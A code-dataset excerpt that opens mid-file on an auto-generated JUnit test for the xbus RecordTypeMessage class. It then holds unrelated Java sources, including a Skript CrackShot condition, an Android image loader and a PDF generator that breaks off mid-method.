RecordTypeMessage recordTypeMessage0 = new RecordTypeMessage((XBUSSystem) null);
// // Unstable assertion: assertNotNull(recordTypeMessage0);
// // Unstable assertion: assertNull(recordTypeMessage0.getErrortext());
// // Unstable assertion: assertEquals("RC_OK", recordTypeMessage0.getReturncode());
// // Unstable assertion: assertEquals("Default", recordTypeMessage0.getFunction());
// // Unstable assertion: assertEquals(0, recordTypeMessage0.getErrorcode());
// // Unstable assertion: assertEquals("RecordTypeMessage", recordTypeMessage0.getShortname());
// // Unstable assertion: assertEquals("TEST_EXECUTION_THREAD_1_1392409281320", recordTypeMessage0.getId());
recordTypeMessage0.setResponseText((String) null, (XBUSSystem) null);
// // Unstable assertion: assertNull(recordTypeMessage0.getErrortext());
// // Unstable assertion: assertEquals("RC_OK", recordTypeMessage0.getReturncode());
// // Unstable assertion: assertEquals("Default", recordTypeMessage0.getFunction());
// // Unstable assertion: assertEquals(0, recordTypeMessage0.getErrorcode());
// // Unstable assertion: assertEquals("RecordTypeMessage", recordTypeMessage0.getShortname());
// // Unstable assertion: assertEquals("TEST_EXECUTION_THREAD_1_1392409281320", recordTypeMessage0.getId());
}
//Test case number: 1
/*
* 1 covered goal:
* Goal 1. net.sf.xbus.protocol.records.RecordTypeMessage.setResponseText(Ljava/lang/String;Lnet/sf/xbus/base/xbussystem/XBUSSystem;)V: I21 Branch 3 IFNONNULL L132 - true
*/
@Test
public void test01() throws Throwable {
RecordTypeMessage recordTypeMessage0 = new RecordTypeMessage((XBUSSystem) null);
// // Unstable assertion: assertNotNull(recordTypeMessage0);
// // Unstable assertion: assertEquals("Default", recordTypeMessage0.getFunction());
// // Unstable assertion: assertEquals("RecordTypeMessage", recordTypeMessage0.getShortname());
// // Unstable assertion: assertEquals(0, recordTypeMessage0.getErrorcode());
// // Unstable assertion: assertEquals("TEST_EXECUTION_THREAD_1_1392409281320", recordTypeMessage0.getId());
// // Unstable assertion: assertEquals("RC_OK", recordTypeMessage0.getReturncode());
// // Unstable assertion: assertNull(recordTypeMessage0.getErrortext());
// Undeclared exception!
try {
recordTypeMessage0.setResponseText("", (XBUSSystem) null);
// fail("Expecting exception: NullPointerException");
// Unstable assertion
} catch(NullPointerException e) {
//
// no message in exception (getMessage() returned null)
//
}
}
//Test case number: 2
/*
* 1 covered goal:
* Goal 1. net.sf.xbus.protocol.records.RecordTypeMessage.setRequestObject(Ljava/lang/Object;Lnet/sf/xbus/base/xbussystem/XBUSSystem;)V: I29 Branch 7 IFNE L181 - false
*/
@Test
public void test02() throws Throwable {
byte[] byteArray0 = new byte[1];
byteArray0[0] = (byte)28;
ByteArrayList byteArrayList0 = ByteArrayList.createByteArrayList(byteArray0, (int) (byte)28);
// // Unstable assertion: assertArrayEquals(new byte[] {(byte)28}, byteArray0);
// // Unstable assertion: assertNotNull(byteArrayList0);
// // Unstable assertion: assertEquals(0, byteArrayList0.length());
RecordTypeMessage recordTypeMessage0 = new RecordTypeMessage((XBUSSystem) null);
// // Unstable assertion: assertNotNull(recordTypeMessage0);
// // Unstable assertion: assertEquals(0, recordTypeMessage0.getErrorcode());
// // Unstable assertion: assertEquals("Default", recordTypeMessage0.getFunction());
// // Unstable assertion: assertNull(recordTypeMessage0.getErrortext());
// // Unstable assertion: assertEquals("RC_OK", recordTypeMessage0.getReturncode());
// // Unstable assertion: assertEquals("RecordTypeMessage", recordTypeMessage0.getShortname());
// // Unstable assertion: assertEquals("TEST_EXECUTION_THREAD_1_1392409281320", recordTypeMessage0.getId());
recordTypeMessage0.setRequestObject((Object) byteArrayList0, (XBUSSystem) null);
// // Unstable assertion: assertArrayEquals(new byte[] {(byte)28}, byteArray0);
// // Unstable assertion: assertEquals(0, recordTypeMessage0.getErrorcode());
// // Unstable assertion: assertEquals("Default", recordTypeMessage0.getFunction());
// // Unstable assertion: assertNull(recordTypeMessage0.getErrortext());
// // Unstable assertion: assertEquals("RC_OK", recordTypeMessage0.getReturncode());
// // Unstable assertion: assertEquals("RecordTypeMessage", recordTypeMessage0.getShortname());
// // Unstable assertion: assertEquals("TEST_EXECUTION_THREAD_1_1392409281320", recordTypeMessage0.getId());
// // Unstable assertion: assertEquals(0, byteArrayList0.length());
}
//Test case number: 3
/*
* 1 covered goal:
* Goal 1. net.sf.xbus.protocol.records.RecordTypeMessage.setRequestText(Ljava/lang/String;Lnet/sf/xbus/base/xbussystem/XBUSSystem;)V: I6 Branch 1 IFNONNULL L87 - false
*/
@Test
public void test03() throws Throwable {
RecordTypeMessage recordTypeMessage0 = new RecordTypeMessage((XBUSSystem) null);
// // Unstable assertion: assertNotNull(recordTypeMessage0);
// // Unstable assertion: assertEquals(0, recordTypeMessage0.getErrorcode());
// // Unstable assertion: assertEquals("TEST_EXECUTION_THREAD_1_1392409281320", recordTypeMessage0.getId());
// // Unstable assertion: assertEquals("RecordTypeMessage", recordTypeMessage0.getShortname());
// // Unstable assertion: assertEquals("Default", recordTypeMessage0.getFunction());
// // Unstable assertion: assertEquals("RC_OK", recordTypeMessage0.getReturncode());
// // Unstable assertion: assertNull(recordTypeMessage0.getErrortext());
recordTypeMessage0.setRequestText((String) null, (XBUSSystem) null);
// // Unstable assertion: assertEquals(0, recordTypeMessage0.getErrorcode());
// // Unstable assertion: assertEquals("TEST_EXECUTION_THREAD_1_1392409281320", recordTypeMessage0.getId());
// // Unstable assertion: assertEquals("RecordTypeMessage", recordTypeMessage0.getShortname());
// // Unstable assertion: assertEquals("Default", recordTypeMessage0.getFunction());
// // Unstable assertion: assertEquals("RC_OK", recordTypeMessage0.getReturncode());
// // Unstable assertion: assertNull(recordTypeMessage0.getErrortext());
}
//Test case number: 4
/*
* 1 covered goal:
* Goal 1. net.sf.xbus.protocol.records.RecordTypeMessage.setResponseObject(Ljava/lang/Object;Lnet/sf/xbus/base/xbussystem/XBUSSystem;)V: I44 Branch 10 IFNE L247 - true
*/
@Test
public void test04() throws Throwable {
RecordTypeMessage recordTypeMessage0 = new RecordTypeMessage((XBUSSystem) null);
// // Unstable assertion: assertNotNull(recordTypeMessage0);
// // Unstable assertion: assertEquals("TEST_EXECUTION_THREAD_1_1392409281320", recordTypeMessage0.getId());
// // Unstable assertion: assertEquals(0, recordTypeMessage0.getErrorcode());
// // Unstable assertion: assertEquals("RecordTypeMessage", recordTypeMessage0.getShortname());
// // Unstable assertion: assertEquals("RC_OK", recordTypeMessage0.getReturncode());
// // Unstable assertion: assertEquals("Default", recordTypeMessage0.getFunction());
// // Unstable assertion: assertNull(recordTypeMessage0.getErrortext());
byte[] byteArray0 = new byte[3];
ByteArrayList byteArrayList0 = ByteArrayList.createByteArrayList(byteArray0, (int) (byte) (-5));
// // Unstable assertion: assertArrayEquals(new byte[] {(byte)0, (byte)0, (byte)0}, byteArray0);
// // Unstable assertion: assertNotNull(byteArrayList0);
// // Unstable assertion: assertEquals(3, byteArrayList0.length());
// Undeclared exception!
try {
recordTypeMessage0.setResponseObject((Object) byteArrayList0, (XBUSSystem) null);
// fail("Expecting exception: NullPointerException");
// Unstable assertion
} catch(NullPointerException e) {
//
// no message in exception (getMessage() returned null)
//
}
}
//Test case number: 5
/*
* 1 covered goal:
* Goal 1. net.sf.xbus.protocol.records.RecordTypeMessage.getResponseText()Ljava/lang/String;: I15 Branch 4 IFNULL L153 - true
*/
@Test
public void test05() throws Throwable {
RecordTypeMessage recordTypeMessage0 = new RecordTypeMessage((XBUSSystem) null);
// // Unstable assertion: assertNotNull(recordTypeMessage0);
// // Unstable assertion: assertEquals("Default", recordTypeMessage0.getFunction());
// // Unstable assertion: assertNull(recordTypeMessage0.getErrortext());
// // Unstable assertion: assertEquals("RC_OK", recordTypeMessage0.getReturncode());
// // Unstable assertion: assertEquals("RecordTypeMessage", recordTypeMessage0.getShortname());
// // Unstable assertion: assertEquals(0, recordTypeMessage0.getErrorcode());
// // Unstable assertion: assertEquals("TEST_EXECUTION_THREAD_1_1392409281320", recordTypeMessage0.getId());
String string0 = recordTypeMessage0.getResponseText();
// // Unstable assertion: assertNull(string0);
// // Unstable assertion: assertEquals("Default", recordTypeMessage0.getFunction());
// // Unstable assertion: assertNull(recordTypeMessage0.getErrortext());
// // Unstable assertion: assertEquals("RC_OK", recordTypeMessage0.getReturncode());
// // Unstable assertion: assertEquals("RecordTypeMessage", recordTypeMessage0.getShortname());
// // Unstable assertion: assertEquals(0, recordTypeMessage0.getErrorcode());
// // Unstable assertion: assertEquals("TEST_EXECUTION_THREAD_1_1392409281320", recordTypeMessage0.getId());
}
//Test case number: 6
/*
* 2 covered goals:
* Goal 1. net.sf.xbus.protocol.records.RecordTypeMessage.setResponseObject(Ljava/lang/Object;Lnet/sf/xbus/base/xbussystem/XBUSSystem;)V: I21 Branch 9 IFNONNULL L239 - true
* Goal 2. net.sf.xbus.protocol.records.RecordTypeMessage.setResponseObject(Ljava/lang/Object;Lnet/sf/xbus/base/xbussystem/XBUSSystem;)V: I44 Branch 10 IFNE L247 - false
*/
@Test
public void test06() throws Throwable {
RecordTypeMessage recordTypeMessage0 = new RecordTypeMessage("use: ", (XBUSSystem) null, "use: ");
assertNotNull(recordTypeMessage0);
assertEquals(0, recordTypeMessage0.getErrorcode());
assertEquals("use: ", recordTypeMessage0.getId());
assertEquals("RecordTypeMessage", recordTypeMessage0.getShortname());
assertEquals("RC_OK", recordTypeMessage0.getReturncode());
assertEquals("use: ", recordTypeMessage0.getFunction());
assertNull(recordTypeMessage0.getErrortext());
ByteArrayList byteArrayList0 = new ByteArrayList();
assertNotNull(byteArrayList0);
assertEquals(0, byteArrayList0.length());
recordTypeMessage0.setResponseObject((Object) byteArrayList0, (XBUSSystem) null);
assertEquals(0, byteArrayList0.length());
assertEquals(0, recordTypeMessage0.getErrorcode());
assertEquals("use: ", recordTypeMessage0.getId());
assertEquals("RecordTypeMessage", recordTypeMessage0.getShortname());
assertEquals("RC_OK", recordTypeMessage0.getReturncode());
assertEquals("use: ", recordTypeMessage0.getFunction());
assertNull(recordTypeMessage0.getErrortext());
}
//Test case number: 7
/*
* 1 covered goal:
* Goal 1. net.sf.xbus.protocol.records.RecordTypeMessage.getRequestTextAsXML(Lnet/sf/xbus/base/xbussystem/XBUSSystem;)Ljava/lang/String;: root-Branch
*/
@Test
public void test07() throws Throwable {
RecordTypeMessage recordTypeMessage0 = new RecordTypeMessage((XBUSSystem) null);
// // Unstable assertion: assertNotNull(recordTypeMessage0);
// // Unstable assertion: assertEquals(0, recordTypeMessage0.getErrorcode());
// // Unstable assertion: assertEquals("TEST_EXECUTION_THREAD_1_1392409281320", recordTypeMessage0.getId());
// // Unstable assertion: assertEquals("RC_OK", recordTypeMessage0.getReturncode());
// // Unstable assertion: assertNull(recordTypeMessage0.getErrortext());
// // Unstable assertion: assertEquals("Default", recordTypeMessage0.getFunction());
// // Unstable assertion: assertEquals("RecordTypeMessage", recordTypeMessage0.getShortname());
String string0 = recordTypeMessage0.getRequestTextAsXML((XBUSSystem) null);
// // Unstable assertion: assertNull(string0);
// // Unstable assertion: assertEquals(0, recordTypeMessage0.getErrorcode());
// // Unstable assertion: assertEquals("TEST_EXECUTION_THREAD_1_1392409281320", recordTypeMessage0.getId());
// // Unstable assertion: assertEquals("RC_OK", recordTypeMessage0.getReturncode());
// // Unstable assertion: assertNull(recordTypeMessage0.getErrortext());
// // Unstable assertion: assertEquals("Default", recordTypeMessage0.getFunction());
// // Unstable assertion: assertEquals("RecordTypeMessage", recordTypeMessage0.getShortname());
}
//Test case number: 8
/*
* 3 covered goals:
* Goal 1. net.sf.xbus.protocol.records.RecordTypeMessage.setRequestObject(Ljava/lang/Object;Lnet/sf/xbus/base/xbussystem/XBUSSystem;)V: I6 Branch 6 IFNONNULL L173 - true
* Goal 2. net.sf.xbus.protocol.records.RecordTypeMessage.setRequestObject(Ljava/lang/Object;Lnet/sf/xbus/base/xbussystem/XBUSSystem;)V: I29 Branch 7 IFNE L181 - true
* Goal 3. net.sf.xbus.protocol.records.RecordTypeMessage.parseRecordsFromByteArrayList(Lnet/sf/xbus/base/bytearraylist/ByteArrayList;Lnet/sf/xbus/base/xbussystem/XBUSSystem;)Lorg/w3c/dom/Document;: I10 Branch 14 IFNULL L360 - false
*/
@Test
public void test08() throws Throwable {
byte[] byteArray0 = new byte[1];
ByteArrayList byteArrayList0 = ByteArrayList.createByteArrayList(byteArray0, (int) (byte)0);
// // Unstable assertion: assertArrayEquals(new byte[] {(byte)0}, byteArray0);
// // Unstable assertion: assertNotNull(byteArrayList0);
// // Unstable assertion: assertEquals(1, byteArrayList0.length());
RecordTypeMessage recordTypeMessage0 = new RecordTypeMessage((XBUSSystem) null);
// // Unstable assertion: assertNotNull(recordTypeMessage0);
// // Unstable assertion: assertEquals("RecordTypeMessage", recordTypeMessage0.getShortname());
// // Unstable assertion: assertEquals("Default", recordTypeMessage0.getFunction());
// // Unstable assertion: assertEquals("RC_OK", recordTypeMessage0.getReturncode());
// // Unstable assertion: assertEquals(0, recordTypeMessage0.getErrorcode());
// // Unstable assertion: assertEquals("TEST_EXECUTION_THREAD_1_1392409281320", recordTypeMessage0.getId());
// // Unstable assertion: assertNull(recordTypeMessage0.getErrortext());
// Undeclared exception!
try {
recordTypeMessage0.setRequestObject((Object) byteArrayList0, (XBUSSystem) null);
// fail("Expecting exception: NullPointerException");
// Unstable assertion
} catch(NullPointerException e) {
//
// no message in exception (getMessage() returned null)
//
}
}
//Test case number: 9
/*
* 1 covered goal:
* Goal 1. net.sf.xbus.protocol.records.RecordTypeMessage.getResponseObject()Ljava/lang/Object;: I15 Branch 11 IFNULL L279 - true
*/
@Test
public void test09() throws Throwable {
RecordTypeMessage recordTypeMessage0 = new RecordTypeMessage((XBUSSystem) null);
// // Unstable assertion: assertNotNull(recordTypeMessage0);
// // Unstable assertion: assertNull(recordTypeMessage0.getErrortext());
// // Unstable assertion: assertEquals("RecordTypeMessage", recordTypeMessage0.getShortname());
// // Unstable assertion: assertEquals("Default", recordTypeMessage0.getFunction());
// // Unstable assertion: assertEquals(0, recordTypeMessage0.getErrorcode());
// // Unstable assertion: assertEquals("TEST_EXECUTION_THREAD_1_1392409281320", recordTypeMessage0.getId());
// // Unstable assertion: assertEquals("RC_OK", recordTypeMessage0.getReturncode());
Object object0 = recordTypeMessage0.getResponseObject();
// // Unstable assertion: assertNull(object0);
// // Unstable assertion: assertNull(recordTypeMessage0.getErrortext());
// // Unstable assertion: assertEquals("RecordTypeMessage", recordTypeMessage0.getShortname());
// // Unstable assertion: assertEquals("Default", recordTypeMessage0.getFunction());
// // Unstable assertion: assertEquals(0, recordTypeMessage0.getErrorcode());
// // Unstable assertion: assertEquals("TEST_EXECUTION_THREAD_1_1392409281320", recordTypeMessage0.getId());
// // Unstable assertion: assertEquals("RC_OK", recordTypeMessage0.getReturncode());
}
//Test case number: 10
/*
* 1 covered goal:
* Goal 1. net.sf.xbus.protocol.records.RecordTypeMessage.getRequestObject(Lnet/sf/xbus/base/xbussystem/XBUSSystem;)Ljava/lang/Object;: I16 Branch 8 IFNULL L216 - true
*/
@Test
public void test10() throws Throwable {
RecordTypeMessage recordTypeMessage0 = new RecordTypeMessage((XBUSSystem) null);
// // Unstable assertion: assertNotNull(recordTypeMessage0);
// // Unstable assertion: assertEquals("Default", recordTypeMessage0.getFunction());
// // Unstable assertion: assertEquals(0, recordTypeMessage0.getErrorcode());
// // Unstable assertion: assertEquals("TEST_EXECUTION_THREAD_1_1392409281320", recordTypeMessage0.getId());
// // Unstable assertion: assertEquals("RecordTypeMessage", recordTypeMessage0.getShortname());
// // Unstable assertion: assertNull(recordTypeMessage0.getErrortext());
// // Unstable assertion: assertEquals("RC_OK", recordTypeMessage0.getReturncode());
Object object0 = recordTypeMessage0.getRequestObject((XBUSSystem) null);
// // Unstable assertion: assertNull(object0);
// // Unstable assertion: assertEquals("Default", recordTypeMessage0.getFunction());
// // Unstable assertion: assertEquals(0, recordTypeMessage0.getErrorcode());
// // Unstable assertion: assertEquals("TEST_EXECUTION_THREAD_1_1392409281320", recordTypeMessage0.getId());
// // Unstable assertion: assertEquals("RecordTypeMessage", recordTypeMessage0.getShortname());
// // Unstable assertion: assertNull(recordTypeMessage0.getErrortext());
// // Unstable assertion: assertEquals("RC_OK", recordTypeMessage0.getReturncode());
}
//Test case number: 11
/*
* 3 covered goals:
* Goal 1. net.sf.xbus.protocol.records.RecordTypeMessage.synchronizeRequestFields(Lnet/sf/xbus/base/xbussystem/XBUSSystem;)V: root-Branch
* Goal 2. net.sf.xbus.protocol.records.RecordTypeMessage.setRequestObject(Ljava/lang/Object;Lnet/sf/xbus/base/xbussystem/XBUSSystem;)V: I6 Branch 6 IFNONNULL L173 - false
* Goal 3. net.sf.xbus.protocol.records.RecordTypeMessage.setResponseObject(Ljava/lang/Object;Lnet/sf/xbus/base/xbussystem/XBUSSystem;)V: I21 Branch 9 IFNONNULL L239 - false
*/
@Test
public void test11() throws Throwable {
RecordTypeMessage recordTypeMessage0 = new RecordTypeMessage((XBUSSystem) null);
// // Unstable assertion: assertNotNull(recordTypeMessage0);
// // Unstable assertion: assertEquals(0, recordTypeMessage0.getErrorcode());
// // Unstable assertion: assertEquals("Default", recordTypeMessage0.getFunction());
// // Unstable assertion: assertNull(recordTypeMessage0.getErrortext());
// // Unstable assertion: assertEquals("RecordTypeMessage", recordTypeMessage0.getShortname());
// // Unstable assertion: assertEquals("RC_OK", recordTypeMessage0.getReturncode());
// // Unstable assertion: assertEquals("TEST_EXECUTION_THREAD_1_1392409281320", recordTypeMessage0.getId());
recordTypeMessage0.setRequestObject((Object) null, (XBUSSystem) null);
// // Unstable assertion: assertEquals(0, recordTypeMessage0.getErrorcode());
// // Unstable assertion: assertEquals("Default", recordTypeMessage0.getFunction());
// // Unstable assertion: assertNull(recordTypeMessage0.getErrortext());
// // Unstable assertion: assertEquals("RecordTypeMessage", recordTypeMessage0.getShortname());
// // Unstable assertion: assertEquals("RC_OK", recordTypeMessage0.getReturncode());
// // Unstable assertion: assertEquals("TEST_EXECUTION_THREAD_1_1392409281320", recordTypeMessage0.getId());
recordTypeMessage0.setResponseObject((Object) null, (XBUSSystem) null);
// // Unstable assertion: assertEquals(0, recordTypeMessage0.getErrorcode());
// // Unstable assertion: assertEquals("Default", recordTypeMessage0.getFunction());
// // Unstable assertion: assertNull(recordTypeMessage0.getErrortext());
// // Unstable assertion: assertEquals("RecordTypeMessage", recordTypeMessage0.getShortname());
// // Unstable assertion: assertEquals("RC_OK", recordTypeMessage0.getReturncode());
// // Unstable assertion: assertEquals("TEST_EXECUTION_THREAD_1_1392409281320", recordTypeMessage0.getId());
}
}
|
3e0e4ca26bbb88445aeb8e31b3fca4f734f4a893 | 128 | java | Java | Grammar/Grammar(Eclipse)/mind/Node.java | TimJSwan89/Java-Programs | e9fae7fc87d362d94c5fd45363505f0e69ceb0c0 | [
"Apache-2.0"
] | null | null | null | Grammar/Grammar(Eclipse)/mind/Node.java | TimJSwan89/Java-Programs | e9fae7fc87d362d94c5fd45363505f0e69ceb0c0 | [
"Apache-2.0"
] | null | null | null | Grammar/Grammar(Eclipse)/mind/Node.java | TimJSwan89/Java-Programs | e9fae7fc87d362d94c5fd45363505f0e69ceb0c0 | [
"Apache-2.0"
] | null | null | null | 12.8 | 27 | 0.601563 | 6,066 | package mind;
public class Node {
long set;
Node[] connect;
public Node(int con) {
connect = new Node[con];
}
}
|
3e0e4ce099ae6cc2ff4425d4dc72aec06ef4ba79 | 1,371 | java | Java | src/main/java/com/akon/skrage/skript/syntaxes/CrackShot/CondWeaponBullet.java | hagek/SkRage | 5f01771c5bbdbe00fa147cf9abc534d3646d67ee | [
"Apache-2.0"
] | 2 | 2020-11-01T06:42:45.000Z | 2020-11-03T13:23:39.000Z | src/main/java/com/akon/skrage/skript/syntaxes/CrackShot/CondWeaponBullet.java | hagek/SkRage | 5f01771c5bbdbe00fa147cf9abc534d3646d67ee | [
"Apache-2.0"
] | 1 | 2020-09-13T11:25:11.000Z | 2021-02-24T05:35:38.000Z | src/main/java/com/akon/skrage/skript/syntaxes/CrackShot/CondWeaponBullet.java | hagek/SkRage | 5f01771c5bbdbe00fa147cf9abc534d3646d67ee | [
"Apache-2.0"
] | 2 | 2020-09-06T08:48:12.000Z | 2022-02-27T13:41:35.000Z | 28.5625 | 157 | 0.760759 | 6,067 | package com.akon.skrage.skript.syntaxes.CrackShot;
import ch.njol.skript.Skript;
import ch.njol.skript.doc.Description;
import ch.njol.skript.lang.Condition;
import ch.njol.skript.lang.Expression;
import ch.njol.skript.lang.SkriptParser.ParseResult;
import ch.njol.util.Kleenean;
import org.bukkit.Bukkit;
import org.bukkit.entity.Entity;
import org.bukkit.entity.Projectile;
import org.bukkit.entity.TNTPrimed;
import org.bukkit.event.Event;
@Description({"EntityがCrackShotの武器によって放たれたものかどうかを判定します"})
public class CondWeaponBullet extends Condition {
private Expression<Entity> bullet;
static {
if (Bukkit.getPluginManager().isPluginEnabled("CrackShot")) Skript.registerCondition(CondWeaponBullet.class, "%entity% is [(crackshot|cs)] weapon bullet");
}
@Override
public boolean init(Expression<?>[] exprs, int matchedPattern, Kleenean isDelayd, ParseResult parseResult) {
this.bullet = (Expression<Entity>)exprs[0];
return true;
}
@Override
public String toString(Event e, boolean debug) {
return "";
}
@Override
public boolean check(Event e) {
if (this.bullet != null) {
if (this.bullet.getSingle(e) instanceof Projectile) {
return this.bullet.getSingle(e).hasMetadata("projParentNode");
}
if (this.bullet.getSingle(e) instanceof TNTPrimed)
return this.bullet.getSingle(e).hasMetadata("CS_potex");
}
return false;
}
}
|
3e0e4e84240e6d002f69a9fcdfe6da9ce4c045df | 4,515 | java | Java | app/src/main/java/com/zerga/carlos/desafiobelatrix/ImageLoader.java | CarlosZM/DesafioBelatrix | ce9c12402b57a024b80a06f0544bac3633114821 | [
"MIT"
] | null | null | null | app/src/main/java/com/zerga/carlos/desafiobelatrix/ImageLoader.java | CarlosZM/DesafioBelatrix | ce9c12402b57a024b80a06f0544bac3633114821 | [
"MIT"
] | null | null | null | app/src/main/java/com/zerga/carlos/desafiobelatrix/ImageLoader.java | CarlosZM/DesafioBelatrix | ce9c12402b57a024b80a06f0544bac3633114821 | [
"MIT"
] | null | null | null | 29.594771 | 117 | 0.630521 | 6,068 | package com.zerga.carlos.desafiobelatrix;
import android.annotation.SuppressLint;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.os.AsyncTask;
import android.util.Log;
import android.widget.ImageView;
import android.widget.Toast;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;
import static android.content.pm.PackageManager.PERMISSION_GRANTED;
import static android.os.AsyncTask.Status.FINISHED;
import static android.os.AsyncTask.Status.RUNNING;
/**
* @author Carlos Zerga <lyhxr@example.com>
* 2017-03-27
* Places or sites where I went to get some knowledge to solve the problem
* https://github.com/vad-zuev/ImageDownloader
* http://www.javaworld.com/article/2074938/core-java/too-many-parameters-in-java-methods-part-3-builder-pattern.html
* https://jlordiales.me/2012/12/13/the-builder-pattern-in-practice/
* https://github.com/square/picasso
*/
class ImageLoader extends AsyncTask<String, Void, Bitmap>{
private static final String INTERNET_PERMISSION= "android.permission.INTERNET";
private ImageView imageView;
private Context context;
private Exception exception;
@SuppressLint("StaticFieldLeak")
private static ImageLoader singleton = null;
private ImageLoader(ImageView imageView, Context context) {
this.imageView=imageView;
this.context=context;
}
private void showToast(String message)
{
Toast.makeText(this.context,message,Toast.LENGTH_SHORT).show();
}
private boolean isInternetPermissionGranted()
{
return this.context.checkCallingOrSelfPermission(INTERNET_PERMISSION)==PERMISSION_GRANTED;
}
@Override
protected Bitmap doInBackground(String... params) {
Bitmap bm = null;
if(!this.isInternetPermissionGranted())
{
this.exception=new InternetPermission("You don't have INTERNET permission");
}else{
try {
URL cleanUrl = new URL(params[0]);
URLConnection connection = cleanUrl.openConnection();
Log.d("d",connection.getContentType());
connection.connect();
String type=connection.getContentType();
if(!type.split("/")[0].equals("image"))
{
throw new InvalidUrl("File inside URI doesn't have image type");
}
InputStream inputStream = connection.getInputStream();
BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
bm = BitmapFactory.decodeStream(bufferedInputStream);
bufferedInputStream.close();
inputStream.close();
} catch (IOException | InvalidUrl e) {
this.exception=e;
}
}
return bm;
}
@Override
protected void onPostExecute(Bitmap bitmap) {
if(this.exception!=null)
{
this.showToast(this.exception.getMessage());
}
else if(bitmap==null){
this.showToast("There is no file to be downloaded");
}else{
this.imageView.setImageBitmap(bitmap);
}
}
void load(String url)
{
synchronized (ImageLoader.class){
if(this.getStatus()!=RUNNING)
{
this.execute(url);
}
}
}
public static ImageLoader with(ImageView imageView)
{
if (imageView == null) {
throw new IllegalArgumentException("ImageView can't null");
}
synchronized (ImageLoader.class)
{
if (singleton == null || singleton.getStatus() == FINISHED) {
singleton = new Builder(imageView).build();
}
}
return singleton;
}
private static class Builder {
private ImageView imageView;
Builder(ImageView imageView)
{
this.imageView=imageView;
}
ImageLoader build() {
return new ImageLoader(this.imageView,this.imageView.getContext().getApplicationContext());
}
}
private class InvalidUrl extends Exception{
InvalidUrl(String s) {
super(s);
}
}
private class InternetPermission extends Exception {
InternetPermission(String s) {
super(s);
}
}
} |
3e0e4f66c8a0e620d323932f30484cfb9583478a | 7,172 | java | Java | src/main/java/org/codeforamerica/shiba/output/pdf/PdfGenerator.java | codeforamerica/shiba | d4989273f6c919533c725a019a602c0dafb01973 | [
"BSD-3-Clause"
] | 10 | 2020-07-18T08:25:22.000Z | 2022-02-15T01:38:55.000Z | src/main/java/org/codeforamerica/shiba/output/pdf/PdfGenerator.java | codeforamerica/shiba | d4989273f6c919533c725a019a602c0dafb01973 | [
"BSD-3-Clause"
] | 83 | 2020-10-06T17:59:04.000Z | 2022-03-09T20:18:13.000Z | src/main/java/org/codeforamerica/shiba/output/pdf/PdfGenerator.java | codeforamerica/shiba-colorado | e53ac06625a701945eb07a31b1f909d0ccc13bd1 | [
"BSD-3-Clause"
] | 5 | 2020-12-08T08:23:10.000Z | 2021-11-07T02:47:46.000Z | 43.204819 | 111 | 0.759621 | 6,069 | package org.codeforamerica.shiba.output.pdf;
import static org.codeforamerica.shiba.output.Document.UPLOADED_DOC;
import static org.codeforamerica.shiba.output.Recipient.CASEWORKER;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.List;
import java.util.Map;
import lombok.extern.slf4j.Slf4j;
import org.apache.pdfbox.multipdf.PDFMergerUtility;
import org.apache.pdfbox.pdmodel.PDDocument;
import org.apache.pdfbox.pdmodel.PDPage;
import org.apache.pdfbox.pdmodel.PDPageContentStream;
import org.apache.pdfbox.pdmodel.common.PDRectangle;
import org.apache.pdfbox.pdmodel.graphics.image.PDImageXObject;
import org.codeforamerica.shiba.Utils;
import org.codeforamerica.shiba.application.Application;
import org.codeforamerica.shiba.application.ApplicationRepository;
import org.codeforamerica.shiba.documents.DocumentRepository;
import org.codeforamerica.shiba.mnit.RoutingDestination;
import org.codeforamerica.shiba.output.ApplicationFile;
import org.codeforamerica.shiba.output.DocumentField;
import org.codeforamerica.shiba.output.Document;
import org.codeforamerica.shiba.output.Recipient;
import org.codeforamerica.shiba.output.documentfieldpreparers.DocumentFieldPreparers;
import org.codeforamerica.shiba.output.caf.FilenameGenerator;
import org.codeforamerica.shiba.output.xml.FileGenerator;
import org.codeforamerica.shiba.pages.data.UploadedDocument;
import org.springframework.stereotype.Component;
@Component
@Slf4j
public class PdfGenerator implements FileGenerator {
private static final List<String> IMAGE_TYPES_TO_CONVERT_TO_PDF = List
.of("jpg", "jpeg", "png", "gif");
private final PdfFieldMapper pdfFieldMapper;
private final Map<Recipient, Map<Document, PdfFieldFiller>> pdfFieldFillerMap;
private final ApplicationRepository applicationRepository;
private final DocumentRepository documentRepository;
private final DocumentFieldPreparers preparers;
private final FilenameGenerator fileNameGenerator;
public PdfGenerator(PdfFieldMapper pdfFieldMapper,
Map<Recipient, Map<Document, PdfFieldFiller>> pdfFieldFillers,
ApplicationRepository applicationRepository,
DocumentRepository documentRepository,
DocumentFieldPreparers preparers,
FilenameGenerator fileNameGenerator
) {
this.pdfFieldMapper = pdfFieldMapper;
this.pdfFieldFillerMap = pdfFieldFillers;
this.applicationRepository = applicationRepository;
this.documentRepository = documentRepository;
this.preparers = preparers;
this.fileNameGenerator = fileNameGenerator;
}
@Override
public ApplicationFile generate(String applicationId, Document document, Recipient recipient) {
Application application = applicationRepository.find(applicationId);
return generate(application, document, recipient);
}
// Generates a pdf and gives it a filename corresponding to a specific routing destination
public ApplicationFile generate(String applicationId, Document document, Recipient recipient,
RoutingDestination routingDestination) {
Application application = applicationRepository.find(applicationId);
String filename = fileNameGenerator.generatePdfFilename(application,
document, routingDestination);
return generateWithFilename(application, document, recipient, filename);
}
public byte[] generateCoverPageForUploadedDocs(Application application) {
return generate(application, UPLOADED_DOC, CASEWORKER).getFileBytes();
}
public ApplicationFile generate(Application application, Document document, Recipient recipient) {
String filename = fileNameGenerator.generatePdfFilename(application, document);
return generateWithFilename(application, document, recipient, filename);
}
private ApplicationFile generateWithFilename(Application application, Document document,
Recipient recipient, String filename) {
List<DocumentField> documentFields = preparers.prepareDocumentFields(application, document,
recipient);
PdfFieldFiller pdfFiller = pdfFieldFillerMap.get(recipient).get(document);
List<PdfField> fields = pdfFieldMapper.map(documentFields);
return pdfFiller.fill(fields, application.getId(), filename);
}
public ApplicationFile generateForUploadedDocument(UploadedDocument uploadedDocument,
int documentIndex, Application application, byte[] coverPage) {
var fileBytes = documentRepository.get(uploadedDocument.getS3Filepath());
if (fileBytes != null) {
var extension = Utils.getFileType(uploadedDocument.getFilename());
